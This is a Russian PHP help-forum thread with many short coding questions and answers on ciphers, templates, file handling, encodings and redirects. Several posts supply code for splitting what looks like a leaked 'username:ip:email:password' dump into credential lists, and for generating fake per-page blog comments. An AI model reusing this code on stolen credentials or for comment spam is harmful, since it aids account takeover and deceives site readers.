$this->DK[0] = $this->MulInv($this->EK[48]);
}
function DecryptECB($inData)
{
// не знаю как реализовать этот кусок
// Пример на delphi
//PDword(@X[1])^:= PDword(@InData)^;
// PDword(@X[3])^:= PDword(dword(@InData)+4)^;
// пример на си
//in = (u16*)inData;
// x1 = *in++;
// x2 = *in++;
// x3 = *in++;
// x4 = *in;
$x1 = ($x1>>8) | ($x1<<8);
$x2 = ($x2>>8) | ($x2<<8);
$x3 = ($x3>>8) | ($x3<<8);
$x4 = ($x4>>8) | ($x4<<8);
for($i=0; $i < 7; $i++)
{
$x1 = $this->Mul($x1, $this->DK[($i*6)+0]);
$x2 += $this->DK[($i*6)+1];
$x3 += $this->DK[($i*6)+2];
$x4 = $this->Mul($x4, $this->DK[($i*6)+3]);
$s3 = $x3;
$x3 = $x3 ^ $x1;
$x3 = $this->Mul($x3, $this->DK[($i*6)+4]);
$s2 = $x2;
$x2 = $x2 ^ $x4;
$x2 += $x3;
$x2 = $this->Mul($x2, $this->DK[($i*6)+5]);
$x3 += $x2;
$x1 = $x1 ^ $x2;
$x4 = $x4 ^ $x3;
$x2 = $x2 ^ $s3;
$x3 = $x3 ^ $s2;
}
$x1 = $this->Mul($x1, $this->DK[48]);
$x3 += $this->DK[49];
$x2 += $this->DK[50];
$x4 = $this->Mul($x4, $this->DK[51]);
$x1 = ($x1 >> 8) | ($x1 << 8);
$s2 = ($x3 >> 8) | ($x3 << 8);
$x3 = ($x2 >> 8) | ($x2 << 8);
$x4 = ($x4 >> 8) | ($x4 << 8);
$x2 = $s2;
// и такой же как выше вывод
}
}
DevidStein
23.03.2010, 19:20
$url = "link (http://www.mysite.com/)";
$url = preg_replace('/\[url\=(.*?)\](.*?)\[\/url\]/is', '<a href="$1">$2</a>', $url);
echo $url;
Спасибо.
Спасибо.
Я надеюсь, ты понимаешь, что нужно будет еще и от XSS фильтровать ))
DevidStein
23.03.2010, 19:50
Я надеюсь, ты понимаешь, что нужно будет еще и от XSS фильтровать ))
Кнешна понимаю.
Помогите разобраться с шаблонизатором
есть main.tpl
в нём находится
<span class="breadcrumbs pathway" style="font-size:1.2em;">{<?php print $module; ?>}</span>
{cotegory} и {FAQ}
и есть еще index.php
В нём находится
$module = $_GET['mod'];
switch($module)
{
case 'rules':
case 'registration':
case 'info':
case 'about':
case 'stat':
case 'auth':
case 'login':
case 'out':
case 'search':
case 'forgot':
case 'whois':
case 'category':
case 'faq':
case 'news':
break;
default:
$module = 'top100';
break;
}
}
$tpl = new Template; //инициируем класс
$tpl->dir = ROOTPATH.'/'.$topclass->version().'/'; //задаём местоположение папки с шаблонами
$tpl->load_template('main.tpl'); //загружаем каркас
$tpl->set('{category}', $tpl->sub_load_template('category.tpl'));
$tpl->set('{FAQ}', $tpl->sub_load_template('faq.tpl'));
$tpl->set('{'.$module.'}', $tpl->sub_load_template($module.'.tpl'));
$tpl->compile('main'); //собираем шаблон
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php '); //выводим результат работы, с возможностью вставки пхп кода в tpl
$tpl->global_clear(); //очищаем все переменные для возможно следующего шаблона
{category} и {FAQ} благополучно заменяются, а вот
{<?php print $module; ?>} не хочет , просто выводит содержание переменной $module в фигурных скобках
Помогите пожалуйста разобраться
$tpl->load_template('main.tpl');
Больше чем уверен, что там происходит обычный file_get_contents('main.tpl');
Так вот, почему тогда там должно выполниться то,что ты там написал?)
Оно выполняется уже познее, при eval'е.Поэтому ты и видиш результат работы в фигурных скобках.
$tpl->load_template('main.tpl');
Больше чем уверен, что там происходит обычный file_get_contents('main.tpl');
Так вот, почему тогда там должно выполниться то,что ты там написал?)
Оно выполняется уже познее, при eval'е.Поэтому ты и видиш результат работы в фигурных скобках.
А как тогда с этим бороться?
class скручен с DLE
public function load_template($tpl_name) {
$time_before = $this->get_real_time();
if ($tpl_name == '' || !file_exists($this->dir . DIRECTORY_SEPARATOR . $tpl_name)) { die ("Невозможно загрузить шаблон: ". $tpl_name); return false;}
$this->template = file_get_contents($this->dir . DIRECTORY_SEPARATOR . $tpl_name);
if ( stristr( $this->template, "{include file=" ) ) {
$this->template = preg_replace( "#\\{include file=['\"](.+?)['\"]\\}#ies","\$this->sub_load_template('\\1')", $this->template);
}
$this->copy_template = $this->template;
$this->template_parse_time += $this->get_real_time() - $time_before;
return true;
}
SeNaP, у тебя много что непонятно.
Попробуй заменить
$tpl->set('{'.$module.'}', $tpl->sub_load_template($module.'.tpl'));
На это
$module = $tpl->sub_load_template($module.'.tpl');
А как тогда с этим бороться?
class скручен с DLE
public function load_template($tpl_name) {
$time_before = $this->get_real_time();
if ($tpl_name == '' || !file_exists($this->dir . DIRECTORY_SEPARATOR . $tpl_name)) { die ("Невозможно загрузить шаблон: ". $tpl_name); return false;}
$this->template = file_get_contents($this->dir . DIRECTORY_SEPARATOR . $tpl_name);
if ( stristr( $this->template, "{include file=" ) ) {
$this->template = preg_replace( "#\\{include file=['\"](.+?)['\"]\\}#ies","\$this->sub_load_template('\\1')", $this->template);
}
$this->copy_template = $this->template;
$this->template_parse_time += $this->get_real_time() - $time_before;
return true;
}
Можно прикрутить поиск шаблоного тега,и замены через Eval.
В шаблоне пишеш что-то вроде:
{php}$var=val;if()..else()..{/php}
В шаблонизаторе ищешь эти теги,и заменяеш на eval() ихнего значения. Ну это самое первое что приходит в голову.
Помогите написать простенький скрип, елс ивам не сложно. Буду премного благодарен.
есть две папки 1 и 2
в папке 1 TXT файлы с каким-то контентом.
в папке 2 тоже TXT файлы с ТАКИМИ же названия файлами НО с другим контентом.
так вот надо чтобы файлы с папки 2. файлы с ОДНИКОВЫМ названием ДОПИСЫВАЛИ контент в файл с ТАКИМ же названием в папку 1.
------------------------------------
пояснение.
тоесть в папке 1 и в папке 2 есть файлы допустим
good.txt
bad.txt
нужно чтобы брался контент с файла good.txt папки 2 и ДОПИСЫВАЙЛСЯ в файлик good.txt в папку 1
и также bad.txt и другеи файлы с одниаковым названием)
Помогите написать простенький скрип, елс ивам не сложно. Буду премного благодарен.
есть две папки 1 и 2
в папке 1 TXT файлы с каким-то контентом.
в папке 2 тоже TXT файлы с ТАКИМИ же названия файлами НО с другим контентом.
так вот надо чтобы файлы с папки 2. файлы с ОДНИКОВЫМ названием ДОПИСЫВАЛИ контент в файл с ТАКИМ же названием в папку 1.
------------------------------------
пояснение.
тоесть в папке 1 и в папке 2 есть файлы допустим
good.txt
bad.txt
нужно чтобы брался контент с файла good.txt папки 2 и ДОПИСЫВАЙЛСЯ в файлик good.txt в папку 1
и также bad.txt и другеи файлы с одниаковым названием)
Что то вроде:
<?php
$firstFolder = './first/';
$secondFolder = './second/';
$files = scandir($secondFolder);
foreach ($files as $file) {
if ($file != '.' and $file != '..' and file_exists($firstFolder . $file)) {
$content = file_get_contents($secondFolder . $file);
$open = fopen($firstFolder . $file, 'a+');
fwrite($open, $content);
fclose($open);
}
}
?>
Может всётаки кто поможет с алгоритмом idea? либо даст готовый ?срочно и очень надо
Есть желание научится делать нормальный дизайн для сайтов. Подскажите как рисовать для веба в фотошопе, где этому можно поучиться. Можно ли использовать gimp 2.
зы только пожалуйста НЕ нужно давать ссылки на гугл, мне не интересно фотки ретушировать...
Может всётаки кто поможет с алгоритмом idea? либо даст готовый ?срочно и очень надо
"Готовый" и "срочно надо" - это mcrypt или openssl
krypt3r читай внимательнее, написанно же русским языком что mcrypt не предлагать
Fliplab, читайте внимательнее. Кроме mcrypt, я предложил openssl. Либо берёте любой сишный код и переписываете на PHP.
programming
24.03.2010, 13:57
Нужно осуществить такую вещь:
Есть скрипт1 и скрипт2. Скрипт1 начинает работу, в середине скрипт1 обращается к скрипту 2(курлом), запускается скрипт2. Как сделать, чтобы скрипт1 продолжил работу только после окончания работы скрипт2?
Нужно осуществить такую вещь:
Есть скрипт1 и скрипт2. Скрипт1 начинает работу, в середине скрипт1 обращается к скрипту 2(курлом), запускается скрипт2. Как сделать, чтобы скрипт1 продолжил работу только после окончания работы скрипт2?
Когда скрипт 2 заканчивает работу, создаеться файлик stop.txt
1 скрипт во время обращения ко 2, входит в цикл с sleep(5); например, и начинает обращаться к http://serv2/stop.txt, и если файл присутствует(ну или его содержимое равно == чему то), делаем break; из цикла,и скрипт работает дальше.
programming
24.03.2010, 14:05
Когда скрипт 2 заканчивает работу, создаеться файлик stop.txt
1 скрипт во время обращения ко 2, входит в цикл с sleep(5); например, и начинает обращаться к http://serv2/stop.txt, и если файл присутствует(ну или его содержимое равно == чему то), делаем break; из цикла,и скрипт работает дальше.
Точно. Большое спасибо.
programming
24.03.2010, 14:07
Когда скрипт 2 заканчивает работу, создаеться файлик stop.txt
1 скрипт во время обращения ко 2, входит в цикл с sleep(5); например, и начинает обращаться к http://serv2/stop.txt, и если файл присутствует(ну или его содержимое равно == чему то), делаем break; из цикла,и скрипт работает дальше.
Так.. А если скрипт будет одновременно использован сразу несколькими юзерами?
Так.. А если скрипт будет одновременно использован сразу несколькими юзерами?
Ну емае, когда обращаешься ко второму скрипту,передовай ему по гет например:
http://server2/script.php?user=rand(); ну или фиксированное число из бд,которое делает ++ для каждого юзера.
И файл ты будеш искать вот такой:
http://server2/stop_RAND.txt
Заместо RAND, то значение которое передал скрипту.
И после проверки отсылаеш запрос на удаление файла,если не хочеш захламлять сервер =)
бразы, подскажите. Как проверить - текст закодированный в base64 или нет
т.е. есть $text = 'MTIzNDU=';
ответ
да или нет
base64_decode, если получается на выходе что-то нормальное, то этот текст в base64
мб
<?php
$text = 'MTIzNDU';
if(preg_match('/[a-zа-я]/',$text)){
echo "good";
}else{
echo "bad";
}
?>
2COMPTON
И каким образом это определяет base64 ?
Vlad&slav
24.03.2010, 22:34
Как мне узнать в php ICQ статус.
Гугл предлогает не рабочее, сам пишу - тож не работает.
Кто поможет?
Pashkela
24.03.2010, 22:36
мб
<?php
$text = 'MTIzNDU';
if(preg_match('/[a-zа-я]/',$text)){
echo "good";
}else{
echo "bad";
}
?>
$text = 'Долой всех зеленых!'; - base64 кодировка, буду знать
Народ, помогите решить проблему : Решил научится делать сайты, ну сделалал прсоетйший пхп скриптик в жриввивере, запускаю с локалохоста странчику и вместо русского крякозябли. и атк в каждом браузере. везде стоит кодировка 1251, винда 7, если это так важно...
UTF-8 попробуй
или так
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
emillord
25.03.2010, 00:32
Народ, помогите решить проблему : Решил научится делать сайты, ну сделалал прсоетйший пхп скриптик в жриввивере, запускаю с локалохоста странчику и вместо русского крякозябли. и атк в каждом браузере. везде стоит кодировка 1251, винда 7, если это так важно...
файл .htaccess ->
AddDefaultCharset cp1251
или пропиши в .php
<meta http-equiv="Content-Type" content="text/html; charset=cp1251" />
еще можно вот тут почитать
http://forum.sources.ru/index.php?showtopic=275383
Пормогло дописанеим в файл .htaccess утф-8 по дефолту..и везде собсно тожде поставить утф 8..а можно както без этого файла?
HeaVeNSeR
25.03.2010, 01:31
ребят,если есть тут добрые люди,напишите пожалуйста небольшой скрипт-парсер...
вообщем,имеетcz текстовик ,отсортированный так "user_name:las_ip:e-mail:password"
хотелось бы разделить его на 3 части:
1)"user-name"
2)"user_name:password"
3)"email:password"
<?php
$tmp=file('myfile.txt');
foreach($tmp as $value)
{
$massiv=explode(':',$value);
echo $massiv[0].':'.$massiv[1].':'.$massiv[2].':'.$massiv[3].'<br>';
}
?>
Просто "Удали ненужное"
P.S. в экселе можно ;)
что надо сделать,чтобы при добавлении к фотке ВКонтакте комментария на русском, через курл, текст не отображался вот так ?4??4??4??4??4??4?
olishort
25.03.2010, 17:16
utf8 попробуй
utf8 попробуй
не прокатило
olishort
25.03.2010, 17:21
Как мне узнать в php ICQ статус.
Гугл предлогает не рабочее, сам пишу - тож не работает.
Кто поможет?
при помощи curl'a можно пропарсить, отправляя необходимые $_POST параметры. Как вариант тянем с _http://uinzone.ru/checker/inviz_check.php
olishort
25.03.2010, 17:21
не прокатило
попробуй изменить саму кодировку файла на utf8
попробуй изменить саму кодировку файла на utf8
да фигня это все
хоть русский,хоть английский,все равно в чарльсе text/html; charset=windows-1251
phpdreamer
25.03.2010, 18:50
да фигня это все
хоть русский,хоть английский,все равно в чарльсе text/html; charset=windows-1251
запости саму работу с курлом
я работал с вконтактом на курле, была такая трабла и решалась она тем, что я отправлял данные в кодировке утф-8
запости саму работу с курлом
я работал с вконтактом на курле, была такая трабла и решалась она тем, что я отправлял данные в кодировке утф-8
как это сделать?
Compton php.net/iconv для строки статуса
Compton php.net/iconv для строки статуса
опять ничего :mad:
Не могу найти функцию, которая заменяла бы все &(и т.д.) на обычные символы.
Подскажите, пожалуйста..
Не могу найти функцию, которая заменяла бы все &(и т.д.) на обычные символы.
Подскажите, пожалуйста..
html_entity_decode()
Не могу найти функцию, которая заменяла бы все &(и т.д.) на обычные символы.
Подскажите, пожалуйста..
htmlspecialchars_decode();
htmlspecialchars_decode();
Спасибо.
Как вывести дату в формате RFC 822 ?
imajo.ati
25.03.2010, 21:31
безопасно ли делать так?
$referer = (string)@$_SERVER["HTTP_REFERER"];
$referer = preg_replace("~[\r\n]+~", "", $referer);
header("Location: {$referer}");
Нашёл такое в классе: global $$LangFile.Что это такое ?
Нашёл такое в классе: global $$LangFile.Что это такое ?
может типа:
<?PHP
$x = 'y';
$y = 'ololololol';
echo $$x;
?>
безопасно ли делать так?
$referer = (string)@$_SERVER["HTTP_REFERER"];
$referer = preg_replace("~[\r\n]+~", "", $referer);
header("Location: {$referer}");
http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
Как сделать через .htaccess
это name.com/images/foto.gif
на name.com/foto.gif ? :rolleyes:
Как сделать через .htaccess
это name.com/images/foto.gif
на name.com/foto.gif ? :rolleyes:
Что-то вроде
RewriteRule ^/(.*\.(gif|png|jpg))$ /images/$1
А вообще для таких вопросов есть своя тема https://forum.antichat.ru/thread92492.html где указаны статьи, написанные на очень понятном языке.
Что-то вроде
RewriteRule ^/(.*\.(gif|png|jpg))$ /images/$1
А вообще для таких вопросов есть своя тема https://forum.antichat.ru/thread92492.html где указаны статьи, написанные на очень понятном языке.
не работает :(
народ а что это за запись?
<?=$lang['bbcode']?>
это тоже самое что <? echo $lang['bbcode']; ?> ???
народ а что это за запись?
<?=$lang['bbcode']?>
это тоже самое что <? echo $lang['bbcode']; ?> ???
Оно самое. Сокращенный вид, говорят так даже быстрее. Но код от таких записей читабельнее не становиться :)
Deathdreams
26.03.2010, 00:55
Как сделать через .htaccess
это name.com/images/foto.gif
на name.com/foto.gif ?
RewriteRule ^/images/(.+)$ /$1 [L]
RewriteRule ^/images/(.+)$ /$1 [L]
не пашет :mad: и не кто не знает как сделать странно так :(
Какой функцией производить операции с файлами .txt если file не способен обрабатывать большие объемы данных? А в файле около полумиллиона строк.
Pashkela
26.03.2010, 06:46
$a = fopen('123.txt', 'r');
while (!feof($a)) {
$b = trim(fgets($a));
....
}
fclose($a);
general.fox
26.03.2010, 12:57
Подскажите функцию, которая удаляет все слеши перед символом (")?
stripslashes($string), но если надо только перед кавычкой, то
str_replace('\"', '"', $string);
general.fox
26.03.2010, 13:01
stripslashes, но если надо только перед кавычкой, то
str_replace('\"', '"', $string);
О... Спасибо... То, что нужно!
general.fox
26.03.2010, 16:49
Где ошибка?
echo "1".if(true){echo "2";}else{echo "3";}."4";
Где ошибка?
echo "1".if(true){echo "2";}else{echo "3";}."4";
<?php
echo "1";
if(true){echo "2";}else{echo "3";}
echo "4";
?>
может типа:
<?PHP
$x = 'y';
$y = 'ololololol';
echo $$x;
?>
Я всё понимаю,но как это работает ?
Я всё понимаю,но как это работает ?
Это работает так,как задумали авторы. Значение переменной берется в качестве ее имени. Аналогично будет записать:
$x = 'y';
$y = 'This is Y!';
echo ${$x};
Как сделать через .htaccess
это name.com/images/foto.gif
на name.com/foto.gif ?
потянет не?
RewriteEngine On
RewriteRule ^foto.gif$ /images/foto.gif
раньше работало
Ну на первый взгляд почему такой прием $city=$html[$i+5]; $pressure=$html[$i+18]; и т.д. не работает, так это изменилась структура на странице и просто все сместилось.
Нужно заново составлять, либо использовать регулярные варажения.
п.с. Код не проверял
Как мне узнать в php ICQ статус.
Гугл предлогает не рабочее, сам пишу - тож не работает.
Кто поможет?
Life7, В теме "полезные скрипты" есть несколько, например,
http://forum.antichat.ru/showpost.php?p=1574448&postcount=916
$s = pack('n',255);
echo bin2hex($s);
Пара вопросов:
1)Почему без функции bin2hex() результат функции pack() не выводится ?
2) Почему возвращает 2 байта,а не 1 ? (00ff = 00 ff = 2 байта).NULL-byte не учитывается ?
3)Вопрос,к теме не относящийся - как получить доступ к свойству элемента массива класса x ?
echo $s->$types['PASSWORD'];
Fatal error: Cannot access empty property
Задано так:
var $types = array( тут элементы массива,включая элемент PASSWORD.).Значение PASSWORD имеет.
__________________________________________
4) Также интересует,почему $this нельзя использовать в поле аргументов метода внутри класса,а внутри метода - сколько угодно.
Welemir 1) Выводится, только браузер скорее всего не может воспроизвести непечатные символы
2) n - unsigned short (always 16 bit, big endian byte order). 16 бит это два байта, как бы
3) echo $s->types['PASSWORD']
4) The pseudo-variable $this is available inside any class method when that method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but possibly another object, if the method is called statically from the context of a secondary object).
Ответ на 4 вопрос,честно говоря,не понял )).По поводу 2 вопроса - тут я крепко лоханулся (хотя вроде и видел 16 бит надпись...)))) ).
ЗЫ: Я так понял, символы выводить придётся на консоль ).
phpdreamer
27.03.2010, 10:54
Безопасно ли хранить id пользователя в массиве $_SESSION для того, чтоб его отличать от других?
Ребят, задача такая.
Есть Текстовый файл с 3000+ записей. Нужно чтобы php скрипт выводил запись из этого файлас привязкой к $_SERVER[REQUEST_URI] , причем strlen'ом этот вопрос не решается, нужен какой-нибудь способ с большим разбросом, т.к. урлы все в диапозоне 3-20 символов
Есть идеи?
Nosfer
Покажи пару строчек из файла и что ты хочешь на выходе
phpdreamer
27.03.2010, 14:19
для больших файлов есть http://ua2.php.net/dio
что надо сделать,чтобы при добавлении к фотке ВКонтакте комментария на русском, через курл, текст не отображался вот так ?4??4??4??4??4??4?
что надо сделать,чтобы при добавлении к фотке ВКонтакте комментария на русском, через курл, текст не отображался вот так ?4??4??4??4??4??4?
Попробуй так:
$text = 'Русский текст';
$text = urlencode(iconv('Windows-1251','UTF-8',$text));
потом отправляй...
Nosfer
Покажи пару строчек из файла и что ты хочешь на выходе
Файл с записями:
Yes, all can be
Sometimes there are things and is worse
You joke?
You it is serious?
Yes, happens...
I do not know, I do not know
Can be
Cannot be
I do not trust you
In my opinion here someone has gone in cycles
It not meant it
Yes, thanks
And, what here ridiculous?
At you inquisitive mind :)
I know, that it is necessary to make)))
Speak to the point
Let's return to a theme
You have kept away from conversation
You realize, in told...
You topic read?
Delirium what that
All can be
It exclusively your opinion
You recollect 18 more century
It absolutely agree
It absolutely not agree
It absolutely agree with the previous message
It absolutely not agree with the previous message
I shall afford will disagree
I shall afford will disagree with you
At you a migraine today?
Clever things, speaks)
Really and as I have not thought about it earlier
Really and as I have not realized earlier
Really and as I have not guessed earlier
Exclusive delirium
Exclusive delirium, in my opinion
Таких записей 3000, нужно чтобы на выходе была одна запись. Алгоритм выборки записи привязан к одному единственному параметру - $_SERVER[REQUEST_URI], но чтобы на страницах с уралми одной длины записи выбирались разные.
Объясняю зачем надо.
Встраиваем в код каментов на блоге спец. код, который будет рандомно-статично выбирать запись из файла и вставлять ее текст на страницу. Таким образом имеем статичные уник каменты на всех страницах блога.
phpdreamer dio - во первых работает только в винде, во вторых - не идет в стандартной поставке, в третьих - вы уверены, что действительно это полезно для больших файлов?
Nosfer для 3000 строк, вызываемых и вычисляемых динамически - использовать файлы не хорошо, лучше использовать какую нибудь СУБД, хотя бы sqlite. Как вариант - перемешайте строки этого файла, и выводите N записей, начиная со случайной, зависимой от строки запроса. Получится что-то вроде:
$filename = 'имя_файла';
$count = 3000; // общее количество строк файла, лучше задать статически, для ускорения работы
$N = 10; // сколько выводить
$pos = abs(abs(crc32($_SERVER['REQUEST_URI'])) % $count - $N);
$f = fopen($filename,'rb') or die('Нет файла');
for ($i = 0; $i<$pos; $i++) fgets($f,4096);
for ($i = 0; $i<$N; $i++) echo fgets($f,4096);
Для снижения количества повторов - можно привязываться не только к количеству строк, но и количеству страниц
Помогите написать простенький скрип, елс ивам не сложно. Буду премного благодарен.
есть две папки 1 и 2
в папке 1 TXT файлы с каким-то контентом.
в папке 2 тоже TXT файлы с ТАКИМИ же названия файлами НО с другим контентом.
так вот надо чтобы файлы с папки 2. файлы с ОДНИКОВЫМ названием ДОПИСЫВАЛИ контент в файл с ТАКИМ же названием в папку 1.
------------------------------------
пояснение.
тоесть в папке 1 и в папке 2 есть файлы допустим
good.txt
bad.txt
нужно чтобы брался контент с файла good.txt папки 2 и ДОПИСЫВАЙЛСЯ в файлик good.txt в папку 1
и также bad.txt и другеи файлы с одниаковым названием)
--------------------------------------------------------------------------------
Life7 Напишите все за меня за просто так - не прокатит, надо было более обтекаемо формулировать просьбу. Так что вам теперь в тему о работе
Life7
оффтоп.
почти все вопросы,которые ты задаешь/ уже рассматривались,даже я помню на них ответ
как записывать и читать в CRON'не чрез PHP?
Помогите написать простенький скрип, елс ивам не сложно. Буду премного благодарен.
<?php
set_time_limit(0);
$filenames = scandir('2');
for($i = 2; $i < count($filenames); $i++)
{
$f = fopen('1/'.$filenames[$i], 'a+');
fwrite($f, file_get_contents('2/'.$filenames[$i]));
fclose($f);
}
?>
beshenuy
28.03.2010, 12:48
Подскажите сайт где можно поставить свої скрипт на крон чтоб он сам оновлялса каждие 5 минут.
http://www.onlinecronservices.com/
1111
1111
1111
2222
2222
2222
3333
3333
3333
explode(???,...)
Как разделить эти блоки между собой ?
"\n" - не подходит, т.к. делит по строкам.
geforse, Я думаю
$p = preg_split('~(\r\n|\n){2,}~', $text);
Нашёл такое в классе: global $$LangFile.Что это такое ?
Нашёл такое в классе: global $$LangFile.Что это такое ?
Делает глобальной переменную, имя которой содержится в $LangFile. То есть:
$English = "Hello!";
$LangFile = "English";
Global $$LangFile;
Сделает $English глобальной для данного документа.
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
$myrow = mysql_fetch_array ($result);
do {
printf ("<table align='center' class='avto'>
<tr>
<td class='avto_title'>
<p class='avto_name'>Автомобиль: <a href='view_avto.php?id=%s'>%s</a></p>
<p class='avto_adds'>Тип: %s</p>
</td>
</tr></table>", $myrow["id"], $myrow["marka"],$myrow["type"]);
}
while ($myrow = mysql_fetch_array ($result));
?>
Как сделать так чтоб выводилось 2 столбика?
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
$myrow = mysql_fetch_array ($result);
do {
printf ("<table align='center' class='avto'>
<tr>
<td class='avto_title'>
<p class='avto_name'>Автомобиль: <a href='view_avto.php?id=%s'>%s</a></p>
<p class='avto_adds'>Тип: %s</p>
</td>
</tr></table>", $myrow["id"], $myrow["marka"],$myrow["type"]);
}
while ($myrow = mysql_fetch_array ($result));
?>
Как сделать так чтоб выводилось 2 столбика?
Как то так:
<table align='center' class='avto' style="border: dashed 1px;">
<tr>
<td>
Автомобиль
</td>
<td> Тип
</td>
</tr>
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
$myrow = mysql_fetch_array ($result);
do {
printf ("<tr>
<td class='avto_name'>
<a href='view_avto.php?id=%s'>%s</a>
</td>
<td class='avto_adds'>
%s
</td>
</tr>", $myrow["id"], $myrow["marka"],$myrow["type"]);
} while ($myrow = mysql_fetch_array ($result));
?>
</table>
Если я правильно понял, смысл 2-х столбиков)
Вопрос..)) :
Нужно, чтобы человек, заходящий на урл моего скрипта перенаправлялся на другой урл.. допустим переадресация происходит так:
<?php
echo '
<html>
<head>
<meta http-equiv="Refresh" content="0; URL=http://ya.ru">
</head>
</html>
';
?>
то есть человек переходит на сайт http://ya.ru, для которого у него в браузере уже установлены куки, что мне и нужно...
Но вот в чём дело... одного перехода юзера мне не достаточно.. Хочу допустим, чтобы этих переходов было 5...
Как это лучше реализовать..?! ведь когда юзер заходит на мой скрипт, он сразу же с него уходит на ya.ru...
Единственное что придумал, это заводить юзера на страницу с 5-ю фреймами, в кождом их которых открывается вышеуказанный скрипт...
Есть варианты красивее..?!
Работает PHP скрипт...
в самом начале прописано @set_time_limit(0);
по ходу работы этот скрипт несколько раз обменивается данными с другим компом.. но нужно, чтобы во время работы на экран выводилась текущая информация, а то получается так, что пока скрипт не остановишь он ничего не выводит. После остановки он все данные выводит разом.
flush(); // каждый раз когда нужно вывести данные.
Некоторые браузеры на него внимание не обращают.
flush(); // каждый раз когда нужно вывести данные.
Некоторые браузеры на него внимание не обращают.
То, что нужно! Спасибо!
Как то так:
<table align='center' class='avto' style="border: dashed 1px;">
<tr>
<td>
Автомобиль
</td>
<td> Тип
</td>
</tr>
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
$myrow = mysql_fetch_array ($result);
do {
printf ("<tr>
<td class='avto_name'>
<a href='view_avto.php?id=%s'>%s</a>
</td>
<td class='avto_adds'>
%s
</td>
</tr>", $myrow["id"], $myrow["marka"],$myrow["type"]);
} while ($myrow = mysql_fetch_array ($result));
?>
</table>
Если я правильно понял, смысл 2-х столбиков)
Неа, не так всмысле. а чтоб выводилось в два столбика
блин,, как сказать то что поняли. короче не так как ты сделал))
Я думаю, namak просил это, но объяснять надо бы понятней =)
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
echo "<table align='center' class='avto'>";
$i=1;
$myrow = mysql_fetch_array ($result);
do {
printf(($i%2==0?"":"<tr>")."<td class='avto_title'>
<p class='avto_name'>Автомобиль: <a href='view_avto.php?id=%s'>%s</a></p>
<p class='avto_adds'>Тип: %s</p>
</td>".($i%2==0?"</tr>":""), $myrow["id"], $myrow["marka"],$myrow["type"]);
$i++;
} while ($myrow = mysql_fetch_array ($result));
echo ($i%2==0?"<td></td></tr>":"")."</table>";
?>
Где можно почитать о шифрование/дешифровке информации, с использованием ключа, без которого расшифровка не возможна ?
Pashkela
29.03.2010, 21:15
например тут было обсуждение:
https://forum.antichat.net/thread186248.html
Где можно почитать о шифрование/дешифровке информации, с использованием ключа, без которого расшифровка не возможна ?
http://ru2.php.net/manual/en/book.mcrypt.php
geforse погуглить на тему "симметричное шифрование" и "шифрование с открытым ключом"
Думаю многие видели WebIcqPro.class.php. Хочется реализовать простенький асечный клиент на php. Все понятно, за исключением следующего: php скрипт слушает ответы от ICQ сервера и вот допустим приходит сообщение, его мы помещаем в какую-либо переменную. На странице будет textarea, в которую необходимо прицеплять к предыдущим сообщениям новое. Т.е. эта форма должна как-то общаться с php скриптом, вот и вопрос как это реализовать?! только AJAX поможет?
Я думаю, namak просил это, но объяснять надо бы понятней =)
<?php
$result = mysql_query ("SELECT id,marka,type,tarif,opisanie FROM avto",$db);
echo "<table align='center' class='avto'>";
$i=1;
$myrow = mysql_fetch_array ($result);
do {
printf(($i%2==0?"":"<tr>")."<td class='avto_title'>
<p class='avto_name'>Автомобиль: <a href='view_avto.php?id=%s'>%s</a></p>
<p class='avto_adds'>Тип: %s</p>
</td>".($i%2==0?"</tr>":""), $myrow["id"], $myrow["marka"],$myrow["type"]);
$i++;
} while ($myrow = mysql_fetch_array ($result));
echo ($i%2==0?"<td></td></tr>":"")."</table>";
?>
еее, спасибо!!!
. Т.е. эта форма должна как-то общаться с php скриптом, вот и вопрос как это реализовать?! только AJAX поможет?
Ну,поскольку класс больше не поддерживается,то...)А почему только AJAX-ом ? на JavaScript нельзя разве ?(
из одного файла передаю данные на аяске во второй
во втором пытаюсь поставить куку
<?php
$name = $_POST['name'];
setcookie('name', $name);
?>
выдает Warning: Cannot modify header information - headers already sent by (output started at /home/www/add.php:1) in /home/www/add.php on line 3
++Norton++
30.03.2010, 13:39
Хотел задать чисто теоретический ламерский вопрос по Curl.
К примеру я загружаю некоторую страницу (пусть будет site.ru/test.php) с помощью скрипта с curl (пусть он называется curl.php).
test.php заносит в логи ip зашедшего на страницу.
Если на curl.php будут заходить люди с разными ip, то в логах test.php будет отображаться ip зашедших, или же ip сервера, на котором стоит скрипт (curl.php).
Я предполагаю что сервера, но всетаки? Чей ip определится?
Заранее спасибо!
+++Norton+++ (http://p2k.ru/archives/24)
general.fox
30.03.2010, 14:03
Как узнать прошедшие количество дней между двумя датами?
Winst0n, кукисы надо ставить в самом начале скрипта - ещё до того, как что-либо выводится на экран. Все переводы на новую строку, пробелы тоже считаются.
general.fox, держи
<?php
$date1 = mktime(0,0,0,4,1,1994); // 1 апреля 1994 г.
$date2 = mktime(0,0,0,6,16,1994); // 16 июня 1994 г.
$seconds = $date2-$date1;
$d = ($seconds-($seconds%86400))/86400;
$h = ($seconds-($seconds%3600))/3600-($d*24);
$m = ($seconds-($seconds%60))/60-($d*24*60+$h*60);
$s = $seconds-($d*24*60*60+$h*60*60+$m*60);
$format = 'd.m.y H:i:s';
echo 'С <b>'.date($format,$date1).'</b> до
<b>'.date($format,$date2).'</b> прошло
'.$d.' д. '.$h.' ч. '.$m.' м. '.$s.' с.';
?>
Как узнать прошедшие количество дней между двумя датами?
Перевести в mktime, отнять что нужно, и опять перевести в date?)
Как узнать прошедшие количество дней между двумя датами?
<?php
$date1="13.03.10";///формат даты:
$date2="12.03.10";///день.месяц.год
preg_match('/^(.+)\..+\..+$/',$date1,$a);
preg_match('/^(.+)\..+\..+$/',$date2,$b);
echo $a[1]-$b[1];
?>
:D
$time1 = mktime (0, 0, 0, 7, 1, 2010);
$time2 = mktime (0, 0, 0, 7, 10, 2010);
$dt = $time2 - $time1;
echo $dt / 3600 / 24, "\n";
А еще есть date_diff
general.fox
30.03.2010, 14:18
